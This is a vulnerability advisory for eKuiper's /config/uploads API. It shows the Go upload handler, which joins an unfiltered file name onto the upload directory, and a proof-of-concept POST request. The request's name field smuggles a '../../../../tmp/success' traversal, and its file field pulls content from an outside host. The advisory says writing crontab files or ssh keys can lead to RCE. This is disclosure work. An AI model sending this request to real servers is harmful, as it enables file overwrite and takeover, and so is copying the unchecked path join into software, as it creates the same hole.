eKuiper /config/uploads API arbitrary file writing may lead to RCE

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)

• The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF
2. Path-Travel
3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.